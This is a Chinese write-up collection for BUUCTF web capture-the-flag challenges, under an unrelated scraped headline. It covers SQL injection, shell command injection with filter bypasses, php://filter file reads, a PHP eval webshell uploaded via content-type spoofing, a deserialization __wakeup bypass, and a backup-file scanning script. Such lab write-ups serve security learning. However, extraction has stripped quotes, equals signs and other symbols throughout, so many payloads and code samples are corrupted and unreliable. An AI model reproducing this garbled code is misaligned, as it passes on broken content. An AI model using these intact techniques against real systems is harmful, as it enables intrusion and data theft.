当前位置: 首页 > news >正文

网站开发中网页上传和发布视频网站做电商

网站开发中网页上传和发布,视频网站做电商,福建省建设厅网站投诉,重庆城乡建设子网站目录 一.SQL注入 (1)[极客大挑战 2019]EasySQL 万能密码 (7)[SUCTF 2019]EasySQL 堆叠注入 解一#xff1a; 解二#xff1a; (10)[强网杯 2019]随便注 堆叠注入 解一#xff1a; 解二#xff1a; 解三#xff1a; (8)[极客大挑战 2019]LoveSQL 联…目录 一.SQL注入 (1)[极客大挑战 2019]EasySQL  万能密码  (7)[SUCTF 2019]EasySQL 堆叠注入  解一  解二 (10)[强网杯 2019]随便注  堆叠注入 解一  解二   解三  (8)[极客大挑战 2019]LoveSQL   联合查询  (15)[极客大挑战 2019]BabySQL 二.代码审计  (2)[极客大挑战 2019]Havefun  GET传参  (3)[HCTF 2018]WarmUp 三.文件包含-PHP封装协议   (4)[ACTF2020 新生赛]Include PHP封装协议   (9)[极客大挑战 2019]Secret File  四.命令注入 (5)[ACTF2020 新生赛]Exec (6)[GXYCTF2019]Ping Ping Ping  方法一拼接绕过法  方法二内联执行法 方法三sh编码  五.Http  (11)[极客大挑战 2019]Http  六.一句话木马  (12)[极客大挑战 2019]Upload (13)[极客大挑战 2019]Knife (14)[ACTF2020 新生赛]Upload  七.备份文件反序列化 (16)[极客大挑战 2019]PHP  方法一用序列化加%00 方法二直接url编码(不能用url编码工具) (17)[ACTF2020 新生赛]BackupFile  八.PHP  (18)[RoarCTF 2019]Easy Calc 方法一PHP的字符串解析特性 方法二http走私攻击 九.弱相等强相等md5  (19)[极客大挑战 2019]BuyFlag  (20)[BJDCTF2020]Easy MD5 一.SQL注入 (1)[极客大挑战 2019]EasySQL  万能密码  admin or 1#  1or 1# 1or 11 1 or 11有时不行特别是用户 (7)[SUCTF 2019]EasySQL 先判断一下是数字型(1)还是字符型1输入1有回显输入1无回显无error初步可以判断目标字段是数字型 当你通过输入 1 能正常获取到回显是因为在 SQL 语句中对于数字型字段直接传入一个数值如 1是符合语法逻辑的数据库能够正常执行查询并返回结果。而输入 1 无回显是因为单引号  在 SQL 中用于标识字符串对于数字型字段1 这种输入破坏了 SQL 语句的语法结构导致查询出错无法返回正常结果。  堆叠注入  堆叠注入简单讲就是多条sql语句一起执行在Mysql中我们是通过;号来结束一条语句只需要在每个sql语句后面加上;即可同时执行所有语句 爆出数据库1;show databases; 回显信息 Array ( [0] 1 ) Array ( [0] ctf ) Array ( [0] ctftraining ) Array ( [0] information_schema ) Array ( [0] mysql ) Array ( [0] performance_schema ) Array ( [0] test ) 是以数组形式呈现的每个 Array 代表一个数据库名1是异常显示  爆表1;show tables; 爆字段1;show columns from Flag; 输入后回显Nonono.,猜测有被过滤  解一  试了一下本题没有过滤*用*查询flag中的所有字段所以直接构造*,1 相当于select *,1 from flag 会返回 flag 表中的所有列由 * 表示并且会额外添加一个值恒为 1 的列到查询结果集中 解二 1;set sql_modepipes_as_concat;select 1 将 sql_mode 设置为 pipes_as_concat 时意味着在后续的 SQL 语句中逻辑或 || 会被当作字符串连接操作符来使用 相当于select concat(1,flag) from Flag sql注入不区分大小写但过滤区分大小写 (10)[强网杯 2019]随便注  1报error说明是闭合 或者这样理解 因为1或1#有回显所以是闭合 1 2 3 查询3时无回显说明只有有两个字段 或者这样(前面的1不能够省) 1 order by 1 # 1 order by 3 # 测试字段数到3时报error说明字段数为2 #和-- q在 SQL 中都用于注释q显眼作用可以换成其他字母或数字也可以不要但前面要有个空格  1;set sql_modepipes_as_concat;select 1 发现select被过滤了  整体功能概述 这段代码的主要功能是使用正则表达式来检查字符串 $inject 中是否包含特定的 SQL 关键字如 select、update、delete 等或点号.。这通常用于防止 SQL 注入攻击通过检测用户输入中是否包含可能用于构造恶意 SQL 语句的关键字。 1. preg_match 函数 preg_match 是 PHP 中的一个正则表达式匹配函数用于在字符串中查找与指定正则表达式匹配的内容。 2. 正则表达式模式 /select|update|delete|drop|insert|where|\./i 正则表达式模式通常由两部分组成模式本身和修饰符。 模式部分select|update|delete|drop|insert|where|\. |是正则表达式中的或运算符表示匹配 | 分隔的任意一个模式。 select、update、delete、drop、insert、where分别代表 SQL 语句中的关键字用于查询、更新、删除、删除表、插入数据和条件筛选等操作。 \.点号在正则表达式中有特殊含义表示匹配任意单个字符因此需要使用反斜杠 \ 进行转义这里表示匹配实际的点号字符。 修饰符部分i i 是一个修饰符表示不区分大小写。这意味着无论 $inject 中的关键字是大写、小写还是混合大小写都能被匹配到。 3. $inject 这是一个变量代表要进行匹配的字符串通常是用户输入的内容。 4. return 语句 return 语句用于将 preg_match 函数的返回值返回。preg_match 函数返回值的含义如下 如果匹配成功返回 1。 如果没有匹配到任何内容返回 0。 如果发生错误返回 false。 select一被禁用联合查询报错注入布尔时间盲注就都不可以使用了。只剩下了堆叠注入  堆叠注入 爆数据库1;show databases; 或者 1;show databases;#  1;show databases;-- q 爆表名1; show tables;# 爆字段 1; show columns from words;# 1; show columns from 1919810931114514;# 注意表名为数字时要用反引号包起来查询 解一  1通过 rename 先把 words 表改名为其他的表名。 2把 1919810931114514 表的名字改为 words 。 3给新 words 表添加新的列名 id 。 4将 flag 改名为 data 。 1; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);# alter table words add id int unsigned not Null auto_increment primary key; 向 words 表中添加一个名为 id 的列数据类型为 int unsigned无符号整数NOT NULL 表示该列不允许为空AUTO_INCREMENT 表示该列的值会自动递增PRIMARY KEY 表示将该列设置为主键。 alter table words change flag data varchar(100); 将 words 表中的 flag 列重命名为 data并将其数据类型修改为 varchar(100)即最大长度为 100 的可变长度字符串。 解二   因为select被过滤了所以先将select * from 1919810931114514进行16进制编码 1’;SeTa0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from a;execute execsql;# SET 语句SET 用于设置用户变量的值在 MySQL 中用户变量以 开头。这里使用 SET 语句将十六进制编码的字符串赋值给变量 a prepare execsql from a; prepare 语句这是 SQL 的预处理语句用于准备一个 SQL 语句以便后续执行。execsql 是预处理语句的名称可以自定义。from a 表示从变量 a 中获取要准备的 SQL 语句。 prepare 语句会对十六进制编码的字符串进行解码将其转换为可执行的 SQL 语句。这样原本被编码的 select 语句就可以正常使用了 execute 语句用于执行由 prepare 语句创建的预处理 SQL 语句。这里 execsql 是前面 PREPARE 语句定义的预处理语句名称 select可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。  这样会出错 1’;seta0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from a;execute execsql;# 是 PHP 中的逻辑与运算符用于组合两个布尔表达式。只有当两个表达式的结果都为 true 时整个逻辑表达式的结果才为 true只要有一个表达式的结果为 false整个逻辑表达式的结果就为 false。 因此strstr($inject, set) strstr($inject, prepare) 的结果为 true 时表示字符串 $inject 中同时包含 set 和 prepare 这两个子字符串就会返回上述界面相当于同时过滤set 和 prepare 一个大写Set即可绕过 解三  1; handler 1919810931114514 open as a; handler a read next;# handler 语句handler 是 MySQL 特有的语句用于直接操作表中的数据可实现对表的打开、读取、关闭等操作且无需使用 select关键字。 open 操作此操作的作用是打开指定的表这里指定的表名为 1919810931114514。 as a为打开的表指定一个别名 a后续可通过这个别名来操作该表。 handler a read next; 这部分代码使用 handler 语句的 read next 操作通过之前指定的别名 a 来读取 1919810931114514 表中的下一行数据。首次执行 read next 时会读取表中的第一行数据后续每次执行都会读取表中的下一行数据。 (8)[极客大挑战 2019]LoveSQL   联合查询  # NO,Wrong username password error 以上两种方式都可以判断是闭合推荐第一种因为第二种还可能闭合  or 1# Login Success!  or 1# or 1# NO,Wrong username password 也可以判断是字符型闭合 1 order by 1# 1 order by 2# 1 order by 3#  或者 order by 3#  1和的空格都可以不要一直到3都回显正常没有报错只是说账号密码错误。 1 order by 4# 直到order by 4的时候报错了。判断出有三个字段接下来开始寻找注入点。 1 union select 1,2,3# 或者 /check.php?username1password1 union select 1,2,3%23 2、3回显存在注入点 爆数据库 1 union select 1,2,database()# 或者 1 union select 1,database(),3# 得到数据库名为geek 爆第一个表名geekuser 1 union select 1,2,table_name from information_schema.tables where table_schemadatabase() limit 0,1# 爆第二个表名l0ve1ysq1 1 union select 1,2,table_name from information_schema.tables where table_schemadatabase() limit 1,1# 或者使用group_concat()一次性爆出所有表名顺便利用2爆数据库名 1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schemadatabase()# 爆列名 1 union select 1,2,group_concat(column_name) from information_schema.columns where table_namegeekuser# ——id,username,password 1 union select 1,2,group_concat(column_name) from information_schema.columns where table_namel0ve1ysq1# ——id,username,password  爆数据 1 union select 1,2,group_concat(id,username,password) from l0ve1ysq1# 或者(#的url编码为%23) /check.php?username1password1 union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23 最后查看源码 而下面这个表得到的是无用信息 1 union select 1,2,group_concat(id,username,password) from geekuser# (15)[极客大挑战 2019]BabySQL 判断闭合 # NO,Wrong username password error 以上两种方式都判断是闭合 由报错信息可知存在SQL注入漏洞 常规注入/check.php?usernameadminpassword1 union select 1# 或者直接登录 1 union select 1# 根据报错信息猜测union 、select可能被过滤了试一下双写绕过一个完整的关键字插入到同一完整关键字中间 /check.php?usernameadminpassword1 ununionion seselectlect 1# 继续报错可能#也被过滤了#换成url编码%23有变化证明有戏或者-- q它会自动变为--%20q  /check.php?usernameadminpassword1 ununionion seselectlect 1%23 或者 /check.php?usernameadminpassword1 ununionion seselectlect 1--%20q /check.php?usernameadminpassword1 ununionion seselectlect 1,2,3%23 字段为32和3回显 爆数据库: /check.php?usernameadminpassword1 ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23 information_schema.schemata 是 MySQL 系统数据库 information_schema 中的一个表这个表存储了所有数据库的元数据信息通过查询这个表可以获取到当前 MySQL 服务器上所有数据库的名称。 上面这个侧重于获取所有数据库名称下面这个专注于获取当前使用的数据库名称。 /check.php?usernameadminpassword1 ununionion seselectlect 1,2,database()%23 而且如果直接information_schema.schemata它就显示infmation_schema.schemata这个表不存在它把o和r过滤了一次所以才有infoorrmation_schema.schemata  猜测flag在ctf里 爆表where时报错所以它也被过滤了 /check.php?usernameadminpassword1 ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schemactf %23 查字段名爆字段名就是爆列名  /check.php?usernameadminpassword1  ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_nameFlag%23  爆数据 /check.php?usernameadminpassword1 ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag%23 UNION 是 SQL 中的操作符用于将两个或多个 SELECT 语句的结果集合并成一个结果集。使用 UNION 要求参与合并的 SELECT 语句列数和数据类型要一致 from ctf.Flag指定查询的数据来源ctf 是数据库名Flag 是表名。表示从 ctf 数据库的 Flag 表中查询数据。 group_concat(flag)group_concat 是一个聚合函数它会将 flag 字段或者又叫flag列名中的所有值连接成一个字符串。 ctf.Flag的ctf不能省因为当前使用的数据库名是geek不是ctf所以你要指定访问不然报错 二.代码审计  (2)[极客大挑战 2019]Havefun  GET传参  发现一个cat变量通过get方式传参如果catdog输出flag构造?catdog (3)[HCTF 2018]WarmUp 查看源码查找php依次访问  is_string()检测变量是否是字符串 isset()检测变量是否已设置并且非 NULL in_array(要搜索的值要搜索的数组)搜索数组中是否存在指定的值 mb_substr($pagenm)返回page中从第n位开始到nm位字符串的值 mb_strpos()查找字符串在另一个字符串中首次出现的位置 urldecode()将url编码后的字符串还原成未编码的样子 发现最底部的if语句有三个条件第一个判断文件不能为空检查是否传了file参数第二这个传的参数是字符串第三要过白名单检测过了之后包含隐藏了flag的文件。 白名单是source.php和hint.php又有mb_strpos和mb_substr截取内容碰到就截止所以只需要输入 ?filesource.php?或者?filesource.php?即可绕过白名单检测然后在输入../逐级跳转目录读取flag即可可以一个一个试发现是5级目录 ?filesource.php?../../../../../ffffllllaaaagggg  或者?filehint.php?../../../../../ffffllllaaaagggg 又或者 ?filehint.php?../../../../../../../../../../ffffllllaaaagggg 可多不可少 三.文件包含-PHP封装协议   (4)[ACTF2020 新生赛]Include PHP封装协议   PHP封装协议 php://filter/readconvert.base64-encode/resourcexxx.php php://filter 是php中独有的一个协议可以作为一个中间流来处理其他流可以进行任意文件的读取根据名字filter可以很容易想到这个协议可以用来过滤一些东西使用不同的参数可以达到不同的目的和效果 resource要过滤的数据流 指定了你要筛选过滤的数据流。 必选 read读链的筛选列表可以设定一个或多个过滤器名称以管道符|分隔。 可选 write写链的筛选列表可以设定一个或多个过滤器名称以管道符|分隔。 可选 两个链的筛选列表 任何没有以 read 或write作前缀 的筛选器列表会视情况应用于读或写链。 php://filter与包含函数结合时php://filter流会被当作php文件执行。所以我们一般对其进行编码阻止其不执行。从而导致任意文件读取。 readconvert.base64-encode用base64编码输出不然会直接当做php代码执行看不到源代码内容。 构造?filephp://filter/readconvert.base64-encode/resourceflag.php php://filter协议用base64编码的方式来读文件flag.php这时页面会显示出源文件flag.php经过base64编码后的内容然后base64解码就可以看到flag (9)[极客大挑战 2019]Secret File  BurpSuite抓包 1.代理开拦截 2.打开内置浏览器 3.加载url 4.放行 5.关拦截  内置浏览器ctrla点开所有隐藏连接 查看响应发现一个被注释掉的secr3t.php 查看/secr3t.php  提示flag放在了flag.php里查看/flag.php 还是没有出现flag找到了但是看不到此时又想到了PHP的封装协议 构造/secr3t.php?filephp://filter/convert.base64-encode/resourceflag.php 四.命令注入 (5)[ACTF2020 新生赛]Exec lslist files列出目前工作目录所含文件及子目录 catconcatenate用于连接文件并打印到标准输出设备上 列出当前工作目录所含文件及子目录: 127.0.0.1|ls 只出现index.php查看index.php127.0.0.1|cat index.php 查看根目录127.0.0.1|ls /    或者; cd /; ls 出现flag查看flag127.0.0.1|cat /flag  在 Linux 文件系统中/ 是根目录的表示符号。路径分为绝对路径和相对路径。绝对路径是以 / 开头表示从根目录开始的路径。/flag 表示从根目录下查找名为 flag 的文件使用 cat 命令用于查看文件内容去读取 /flag 文件的内容。   如果不加 /即 cat flag 这是一个相对路径它表示在当前所在目录下去查找名为 flag 的文件。如果当前目录下不存在 flag 文件就会提示找不到该文件的错误信息。除非先 cd / 切换到根目录此时根目录成当前工作目录再用 cat flag 相对路径 能找到。 ; cd /; cat flag (6)[GXYCTF2019]Ping Ping Ping  提示/?ip 输入/?ip127.0.0.1回显成功 列出当前目录的所有文件/?ip127.0.0.1|ls 查看flag.php?ip127.0.0.1|cat flag.php fxck your space就是过滤空格的意思 命令中空格被过滤的解决方法 {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt $IFS$9 $9指传过来的第9个参数可以换成其他数字 catflag.txt catflag.txt kg$\x20flag.txtcat$kg (\x20转换成字符串就是空格这里通过变量的方式巧妙绕过)   第三个方法常用/?ip127.0.0.1|cat$IFS$9flag.php    试了之后发现flag也被过滤了  查看另外一个index.php文件/?ip127.0.0.1|cat$IFS$9index.php echo preg_match(/\|\/|\?|\*|\|[\x{00}-\x{20}]|\|\|\|\\|\(|\)|\[|\]|\{|\}/, $ip, $match); die(fxck your symbol!); 过滤 特殊符号、/、?、*、、、、、\、(、)、[、]、{、} 空白字符[\x{00}-\x{20}] 表示 Unicode 编码范围从 0x00 到 0x20 的字符涵盖了所有空白字符像空格、制表符、换行符等。 else if(preg_match(/ /, $ip)){ die(fxck your space!); 此正则表达式 / / 过滤的是单个空格字符   } else if(preg_match(/bash/, $ip)){ die(fxck your bash!); 此正则表达式 /bash/ 过滤的是字符串 bash   } else if(preg_match(/.*f.*l.*a.*g.*/, $ip)){ die(fxck your flag!); 此正则表达式 /.*f.*l.*a.*g.*/ 过滤的是包含字母 f、l、a、g 且这些字母可以被任意数量的其他字符分隔的字符串例如 flag、aflag、f1l2a3g 等 好多都被过滤了但最后有个变量a 方法一拼接绕过法  变量拼接字符串——将a的值覆盖然后进行绕过 /?ip127.0.0.1;ag;cat$IFS$9fla$a.php 总之替换掉空格和flag拼接成cat flag.php 可以拼接f;lag fl;ag fla;g比如这样也行 /?ip127.0.0.1;aag;cat$IFS$9fl$a.php 或者将lag替换成x绕过对flag的检测 ?ip127.0.0.1;xlag;cat$IFS$6f$x.php   命令执行后页面什么也没有查看源码拿下flag{93fb0eb5-1144-4d1a-ae9b-fa5b3d14ccab} 方法二内联执行法 内联函数将指定的函数体插入并取代每一处调用该函数的地方。 可以看到代码没有过滤掉符号  反引号在linux中作为内联执行执行输出结果。所以可以利用内联执行的方式直接打开flag文件 /?ip127.0.0.1;cat$IFS$9ls 相当于先执行命令ls再把ls得到的文件名全部用命令cat打开 方法三sh编码  使用 base64 编码的方式来绕过 flag 过滤。 加密命令 echo cat flag.php | base64 解密命令并执行 echo Y2F0IGZsYWcucGhw | base64 -d | sh sh可以换成bash但是bash被过滤了 这里用base64也可以换成其他的编码形式 然后用$IFS$9代替空格I和前后的空格可以省前者可可| /?ip127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh 或者 /?ip127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh 又或者 ?ip127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh ?ip127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh 和|的区别 A;B 返回A和满足A的B A|B 只返回满足A的B  五.Http  (11)[极客大挑战 2019]Http  查看源代码搜索php发现有一个Secret.php点击访问  提示It doesn’t come from ‘https://Sycsecret.buuoj.cn’也就是说这个页面得来自https://Sycsecret.buuoj.cn添加referer即可 题目是http 很容易想起HTTP协议中的HTTP报文 header 请求头和响应头。也就是有一些协议内容。比如上面提示不是来自https://Sycsecret.buuoj.cn就可以在header中添加上 Referer:https://Sycsecret.buuoj.cn 来伪造访问来源Referer协议就是告诉服务器我从哪里来所以抓包修改。  添加后访问提示请使用 Syclover 浏览器这就可以想到用User-Agent协议来伪造访问工具为 Syclover 浏览器这个协议就是告诉服务器我是用什么访问的。添加User-Agent: Syclover。再次提示No!!! you can only read this locally 你只能在本地阅读  只能在本地我们可以伪造本地ip 127.0.0.1,所以我们可以利用X-Forwarded-For协议来伪造只需要在 header 添加 X-Forwarded-For:127.0.0.1再次访问这时得到 flag{56094062-41ae-4f1f-8621-267bb4122dc8}  六.一句话木马  (12)[极客大挑战 2019]Upload 提示的是图片上传格式就是图片格式 先创建一个木马文件以便后续用蚁剑链接 文件内容为 GIF89a script languagephpeval($_POST[a]);/script 用记事本来写改后缀名为phtml 先上传一句话木马这里是phtml格式的 对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。 上传此文件然后提示Not image! 原因我们上传的是文件不是它要求的图片格式不对直接抓包修改格式 在内置浏览器也要重新上传木马 发送repeater模块修改  更改这个Content-Type: 为image/jpeg即是我们上传的文件格式绕过这里PHP格式也不行一直试到phtml可以绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht  蚁剑连接 URL地址为/upload/12.phtml 连接密码为a 分别对应文件名和参数名 右键添加数据   测试连接 连接成功 再添加 双击打开flag在根目录下 难找的话右键打开虚拟终端输入cat /flag 或者把1.txt含木马改为1.jpg上传然后只改后缀名为1.phtml 不能上传这个?php eval($_POST[a]);?  (13)[极客大挑战 2019]Knife eval($_POST[Syc]); eval是PHP代码执行函数把字符串按照 PHP 代码来执行。 $_POST PHP方法将参数Syc作为POST传参方式 根据提示打开蚁剑添加数据 密码为Syc (14)[ACTF2020 新生赛]Upload  不能直接上传.phtml  上传一句话木马 ?php eval($_POST[a]);?或者 GIF89a script languagephpeval($_POST[a]);/script 后缀名为.jpg 抓包修改.jpg为.phtml如果是第一个木马就改为.php  url为响应给的./uplo4d/74f569c7bc687698e79971a972e36dd6.phtml  七.备份文件反序列化 (16)[极客大挑战 2019]PHP  这儿提示备份网站 所以我们尝试着输入网站源码备份文件看看能否访问 常见的网站源码备份文件后缀: tar.gzziprartar 常见的网站源码备份文件名 webwebsitebackupbackwwwwwwroottemp 发现www.zip可以成功获得网站源码备份 或者 用dirsearch扫一下后台目录 dirsearch -u http://97a13367-80f4-4641-9db9-da99af59ff35.node5.buuoj.cn:81/ -e php 要点时间才能扫描完毕结束标记Task Completed ​  ​  扫描报告里也可以搜索得到www.zip 其实这个工具一坨  访问一下自动下载www.zip  喜欢脚本  url备份文件扫描脚本 import requests from tqdm import tqdmurl1 http://d6ed50c0-d6f1-40f5-80c6-27a14eece070.node5.buuoj.cn:81/ with open(List1.txt) as f:list1 f.read().splitlines() list2 [tar, tar.gz, zip, rar, 7-zip, 7z, bak, swp, php.bak] total_requests len(list1) * len(list2) with tqdm(totaltotal_requests, descScanning URLs) as pbar:for i in list1:for j in list2:back f{i}.{j}url f{url1}/{back}response requests.get(url, timeout10)if response.status_code 200:print(f{back} {response.status_code})if text/html not in response.headers.get(Content-Type, ).lower():with open(fXZ/{back}, wb) as file:file.write(response.content)pbar.update(1) flag.php(这个flag一看就是假的没有这么简单)  index.php关键信息 发现文件包含 class.php 文件并且文件是get 传参参数为 select unserialize() 从已存储的表示中创建 PHP 的值列化后的字符串。 若被反序列化的变量是一个对象在成功地重新构造对象之后PHP 会自动地试图去调用 __wakeup()成员函数如果存在 //$resunserialize($select); 这段代码的作用是将一个字符串反序列化为一个PHP变量。    代码的步骤如下  1. $select 表示选择变量$select的值如果$select存在则取其值否则返回空值。  2. unserialize() 函数将字符串反序列化为一个PHP变量。  3. 将反序列化后的结果赋值给$res变量  class.php ?php // 包含名为 flag.php 的文件该文件可能包含敏感信息如标志、密钥等 include flag.php;// 关闭所有 PHP 错误报告避免在页面上显示错误信息增强安全性 error_reporting(0);// 定义一个名为 Name 的类用于处理用户的用户名和密码 class Name{// 声明一个私有属性 $username初始值为 nononoprivate $username nonono;// 声明一个私有属性 $password初始值为 yesyesprivate $password yesyes;// 构造函数当创建 Name 类的新对象时自动调用// 接收两个参数 $username 和 $password用于初始化对象的属性public function __construct($username, $password){// 将传入的 $username 参数赋值给对象的 $username 属性$this-username $username;// 将传入的 $password 参数赋值给对象的 $password 属性$this-password $password;}// __wakeup 魔术方法当对象被反序列化时自动调用function __wakeup(){// 将对象的 $username 属性重置为 guest$this-username guest;}// __destruct 魔术方法当对象被销毁时自动调用function __destruct(){// 检查对象的 $password 属性是否不等于 100if ($this-password ! 100) {// 如果不等于 100输出提示信息表明是黑客行为echo /brNO!!!hacker!!!/br;// 输出用户名提示信息echo You name is: ;// 输出对象的 $username 属性值echo $this-username;// 换行echo /br;// 输出密码提示信息echo You password is: ;// 输出对象的 $password 属性值echo $this-password;// 换行echo /br;// 终止脚本执行die();}// 检查对象的 $username 属性是否严格等于 adminif ($this-username admin) {// 如果等于 admin使用 global 关键字引入全局变量 $flagglobal $flag;// 输出全局变量 $flag 的值可能是敏感信息echo $flag;} else {// 如果 $username 不等于 admin输出友好提示信息echo /brhello my friend~~/brsorry i cant give you the flag!;// 终止脚本执行die();}} } ? 本题的关键就是username的赋值。因为 __wakeup 会对userneme又进行一次赋值的更改所以我们要想办法绕过该函数 并且在一开始我们要改变 username的赋值 通过反序列化来执行destruct函数如果password100usernameadmin可以获得flag 构造序列化 一.直接在class.php添加 // 创建 Name 类的对象设置用户名和密码 $obj new Name(admin, 100);// 序列化对象 $serialized serialize($obj);// 输出序列化后的字符串 echo $serialized; PHP 在线工具 | 菜鸟工具 接着执行反序列化执行之前限制性wakeup函数但是__wakeup函数会修改username的值所以一个想办法绕过wakeup 绕过方法当成员属性数目大于实际数目时可绕过wakeup方法 // __wakeup  在反序列化时当前属性个数大于实际属性个数时就会跳过__wakeup() 所以我们要将 2 改为 3 或者 比2大的数字 同时我们要将口变为 %00 若不写在我们复制的时候就会减少空格 方法一用序列化加%00 private属性被序列化的时候属性名会变成%00类名%00属性名长度跟随属性名长度而改变。加%00的目的就是用于替代\0 O:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;} 其他构造方法   ?phpclass Name{private $username admin;private $password 100; }$select new Name(); $res serialize($select); echo $res; ? //$select new Name(); 这段代码创建了一个名为$select的新对象该对象是通过调用Name类的构造函数来实例化的 1. 创建一个新的对象$select。  2. 使用关键字new来实例化对象。  3. 实例化对象时调用Name类的构造函数该构造函数可能包含一些初始化代码或设置对象的初始状态。    总结这段代码创建了一个新的Name对象$select并调用了该对象的构造函数来初始化对象。 O:4:Name O表示这是一个对象Object的序列化数据。 4表示对象类名的长度。 Name表示对象所属的类名是 Name。 :2: 表示该对象有 2 个属性。 {s:14:Nameusername;s:5:admin;s:14:Namepassword;s:3:100;} 这部分是对象属性的具体内容每个属性由键值对组成多个键值对之间没有分隔符直接排列。具体解释如下 s:14:Nameusername s表示属性名是字符串String类型。 14表示属性名 Nameusername 的长度。 Nameusername属性名。 s:5:admin s表示属性值是字符串String类型。 5表示属性值 admin 的长度。 admin属性 Nameusername 对应的值。 s:14:Namepassword s表示属性名是字符串String类型。 14表示属性名 Namepassword 的长度。 Namepassword属性名。 s:3:100 s表示属性值是字符串String类型。 3表示属性值 100 的长度。 100属性 Namepassword 对应的值。 而我们的Nameusername 只有12个字符这里的14怎么来的呢 大家可以理解为Name 和username 是拼接起来的 所以在Name和username这里各有一个空格所以就是14个字符了 又因为我们的空格没有被实体化  这里我们需要把空格写出来而空格的url编码是%00 O:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;s:3:100;} 至于上面那个2是为什么要变成3  __wakeup  在反序列化时当前属性个数大于实际属性个数时就会跳过__wakeup() 所以我们要将 2 改为 3 或者 比2大的数字 同时我们要将口变为 %00 若不写在我们复制的时候就会减少空格 当然这种构造也行  ?phpclass Name{private $username nonono;private $password yesyes;public function __construct($username,$password){$this-username $username;$this-password $password;} } $a new Name(admin, 100); var_dump(serialize($a));? 方法二直接url编码(不能用url编码工具) ?php class Name{private $username nonono;private $password yesyes;public function __construct($username,$password){$this-username $username;$this-password $password;} } $a new Name(admin, 100); var_dump(serialize($a)); var_dump(urlencode(serialize($a)));//进行url编码防止%00对应的不可打印字符在复制时丢失 ? 只需要把2改为3?select....不要双引号  (17)[ACTF2020 新生赛]BackupFile  题目提示BackupFile备份文件夹的意思 打开脚本下载的index.php.bak 发现它通过key变量get传参要求此变量必须是数字且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 取key的值为123?key123 八.PHP  (18)[RoarCTF 2019]Easy Calc 查看源码变量为num请求类型为GET以及发现一个calc.php  访问/calc.php 解题知识点 chr() 函数从指定的 ASCII 值返回字符。  file_get_contents() 函数把整个文件的内容读入到一个字符串中。 PHP的字符串解析特性PHP需要将所有参数转换为有效的变量名因此在解析查询字符串时它会做两件事1.删除空白符 2.将某些字符转换为下划线包括空格【当waf不让你过的时候php却可以让你过】。假如waf不允许num变量传递字符串可以在num前加个空格这样waf就找不到num这个变量了因为现在的变量叫“ num”而不是“num”。但php在解析的时候会先把空格给去掉这样我们的代码还能正常运行还上传了非法字符。 scandir() 函数返回指定目录中的文件和目录的数组。 方法一PHP的字符串解析特性 尝试一下/calc.php?numphpinfo() num前加个空格/calc.php? numphpinfo()或者/calc.php?%20numphpinfo() 空格的url编码为%20 phpinfo() 是 PHP 的一个内置函数它会输出当前 PHP 环境的详细信息包括 PHP 版本、加载的扩展、服务器配置等内容 以上证明了PHP的字符串解析特性方法的可行性 由于“/”被过滤了所以我们可以使用chr(47)来进行表示进行根目录读取 47是/的ascii码虽然/并不在黑名单内但服务器端可能存在其他的过滤机制或者环境限制总之这题的/被过滤了 /calc.php? num1;var_dump(scandir(chr(47))) 构造/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103) /calc.php? num1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) 字符串拼接. 是 PHP 中的字符串连接运算符将 chr() 函数返回的字符依次连接起来得到字符串 /f1agg。 file_get_contents() 函数该函数用于读取文件的内容将拼接好的字符串 /f1agg 作为文件路径尝试读取该文件的内容。 var_dump() 函数var_dump() 函数用于输出变量的详细信息包括变量的类型和值。这里将 file_get_contents() 函数返回的文件内容作为参数传递给 var_dump() 函数最终会将文件内容及其详细信息输出到页面上。 方法二http走私攻击 /calc.php? numfile_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) 九.弱相等强相等md5  (19)[极客大挑战 2019]BuyFlag  查看源码发现有两个.php点击查看  查看pay.php的源码发现有用信息  以post方式传参money100000000password满足等于404但是不能为数字弱相等所以password等于404任意字符 总结一下需要满足四个条件前面提示必须是cuit的学生以post方式传参money100000000password404a。 所以修改cookie里的user0为user1 直接抓包修改 先通过内置浏览器插件 HackBar进行POST传参再抓包这样数据包就是POST传参方式如果直接在数据包里面把GET方式传参改为POST方式传参的话可能依旧是GET方式传参这点需要注意。 右键发送到Repeater模块  修改cookie里的user0为user1这里提示数字太长  password404amoney1e9  1e9代表1的后面有9个0 1000000000 100000000 (要大于题目要求的money值 否则不够钱 或者使用数组进行传参跳过判断password不能 money[]1password404a参数顺序可以调换 password404amoney[] 这里可以等于任何数字或字母或符号甚至什么也不要 补充[]的ascii码分别是%5B%5D不区分大小写 password404amoney%5b%5d* (20)[BJDCTF2020]Easy MD5 查看源代码无果抓包看一看 或者这个随便注入一个东西网络有响应 这里面password就是我们用户框中输入得东西。如果通过md5之后返回字符串是or 1的话就形成一个永真条件。 MD5 是一种广泛使用的哈希函数它会将任意长度的输入字符串转换为一个固定长度通常为 128 位以 32 位十六进制字符串表示的哈希值。 当对字符串 ffifdyop 进行 MD5的32位 哈希计算时得到的结果是 276f722736c95d99e921722cf9ed621c。 十六进制与 ASCII 